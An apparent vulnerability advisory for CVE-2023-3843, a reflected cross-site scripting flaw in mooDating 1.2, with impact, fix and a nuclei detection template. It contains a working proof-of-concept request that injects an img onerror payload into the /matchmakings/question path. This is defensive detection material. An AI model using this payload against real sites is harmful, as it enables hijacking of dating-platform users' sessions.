CVE-2023-3843· moosocial / moodating· CWE-79
mooDating 1.2 - Cross-site scripting
A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
Impact
Unauthenticated attackers can inject malicious JavaScript through the matchmakings URL parameter to steal dating platform user session cookies and access personal profile information.
Fix
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the matchmakings component.
How to confirm it
Send: GET {{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number=
Positive when: status_code == 404 and contains(content_type, "text/html") and contains(body, "><img src=a onerror=alert(document.domain)>w71ch") && contains(body, "mooDating")Run it with nuclei: nuclei -id CVE-2023-3843 -u <target>
The full check
id: CVE-2023-3843
info:
name: mooDating 1.2 - Cross-site scripting
author: r3Y3r53
severity: medium
description: |
A vulnerability was found in mooSocial mooDating 1.2. It has been classified as problematic. Affected is an unknown function of the file /matchmakings/question of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. VDB-235194 is the identifier assigned to this vulnerability. NOTE: We tried to contact the vendor early about the disclosure but the official mail address was not working properly.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the matchmakings URL parameter to steal dating platform user session cookies and access personal profile information.
remediation: |
Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes and encodes URL parameters in the matchmakings component.
reference:
- https://www.exploit-db.com/exploits/51628
- https://nvd.nist.gov/vuln/detail/CVE-2023-3843
- https://vuldb.com/?ctiid.235194
- https://vuldb.com/?id.235194
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-3843
cwe-id: CWE-79
epss-score: 0.05955
epss-percentile: 0.93341
cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moodating
tags: cve2023,cve,xss,unauth,exploitdb,moodating,moosocial,vuln
http:
- method: GET
path:
- "{{BaseURL}}/matchmakings/questiontmili%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ew71ch?number="
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains(body, "><img src=a onerror=alert(document.domain)>w71ch") && contains(body, "mooDating")'
condition: andReferences
- https://www.exploit-db.com/exploits/51628
- https://nvd.nist.gov/vuln/detail/CVE-2023-3843
- https://vuldb.com/?ctiid.235194
- https://vuldb.com/?id.235194
Use this check only on systems you are authorised to test. Where the data comes from